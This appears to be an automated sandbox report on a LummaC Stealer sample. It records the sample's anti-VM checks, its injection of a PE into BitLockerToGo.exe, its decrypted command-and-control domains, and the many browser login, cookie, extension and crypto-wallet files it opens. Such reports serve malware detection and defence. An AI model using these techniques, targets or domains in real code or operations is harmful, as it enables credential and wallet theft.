Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05562721 push eax; iretd	4_3_05562722
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05562721 push eax; iretd	4_3_05562722
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05563F21 push ebx; iretd	4_3_05563F22
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05563F21 push ebx; iretd	4_3_05563F22
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05563F21 push ebx; iretd	4_3_05563F22
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_031D093C push 90031DC6h; ret	4_3_031D0941
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_031D0B20 pushad ; iretd	4_3_031D0B25
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055636C7 push edx; retn 0030h	4_3_055636CA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055636C7 push edx; retn 0030h	4_3_055636CA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055636C7 push edx; retn 0030h	4_3_055636CA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055626C1 push eax; ret	4_3_055626C2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055626C1 push eax; ret	4_3_055626C2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_055626C1 push eax; ret	4_3_055626C2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05562EFF push ecx; retf	4_3_05562F02
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05562EFF push ecx; retf	4_3_05562F02
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4_3_05562EFF push ecx; retf	4_3_05562F02

Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\txUcQFc0aJ.exe

Code function: 0_2_00870AC0 rdtscp

0_2_00870AC0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 7812	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 7808	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: BitLockerToGo.exe, 00000004.00000003.2167730722.000000000313C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2168755644.000000000313C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(<
Source: BitLockerToGo.exe, 00000004.00000003.2106992167.000000000316F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2168312275.000000000316F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.1988263434.0000000003177000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2085504854.000000000316F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2147329118.000000000316F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2010310791.000000000316F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2168885091.000000000316F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: txUcQFc0aJ.exe, 00000000.00000002.1964908744.00000000006BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\txUcQFc0aJ.exe

Code function: 0_2_00870AC0 rdtscp

0_2_00870AC0

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\txUcQFc0aJ.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\txUcQFc0aJ.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: txUcQFc0aJ.exe, 00000000.00000002.1966405613.00000000011B7000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: txUcQFc0aJ.exe, 00000000.00000002.1966405613.00000000011B7000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: txUcQFc0aJ.exe, 00000000.00000002.1966405613.00000000011B7000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: txUcQFc0aJ.exe, 00000000.00000002.1966405613.00000000011B7000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: txUcQFc0aJ.exe, 00000000.00000002.1966405613.00000000011B7000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: txUcQFc0aJ.exe, 00000000.00000002.1966405613.00000000011B7000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: txUcQFc0aJ.exe, 00000000.00000002.1966405613.00000000011B7000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: txUcQFc0aJ.exe, 00000000.00000002.1966405613.00000000011B7000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: txUcQFc0aJ.exe, 00000000.00000002.1966405613.00000000011B7000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bithithol.click

Writes to foreign memory regions

Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2ECF008	Jump to behavior
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 441000	Jump to behavior
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 450000	Jump to behavior

Source: C:\Users\user\Desktop\txUcQFc0aJ.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

Jump to behavior

Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Queries volume information: C:\Windows VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\txUcQFc0aJ.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: BitLockerToGo.exe, BitLockerToGo.exe, 00000004.00000003.2124087952.00000000031DB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2169039111.00000000031DB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2106904242.0000000005562000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2107133859.00000000031D7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2168134842.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2167730722.00000000031DB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2107180786.00000000031DA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2147329118.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2106992167.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2110940932.0000000005562000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7764, type: MEMORYSTR
Source: Yara match	File source: 4.2.BitLockerToGo.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.BitLockerToGo.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1966405613.00000000011B7000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000004.00000002.2168928447.000000000318C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: BitLockerToGo.exe, 00000004.00000002.2168928447.000000000318C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: BitLockerToGo.exe, 00000004.00000003.2085656548.00000000031ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: BitLockerToGo.exe, 00000004.00000002.2168928447.000000000318C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000004.00000002.2168999429.00000000031D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"]$L
Source: BitLockerToGo.exe	String found in binary or memory: ExodusWeb3
Source: BitLockerToGo.exe, 00000004.00000002.2168928447.000000000318C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: BitLockerToGo.exe, 00000004.00000003.2086239417.0000000003169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BitLockerToGo.exe, 00000004.00000002.2168999429.00000000031D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Et

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
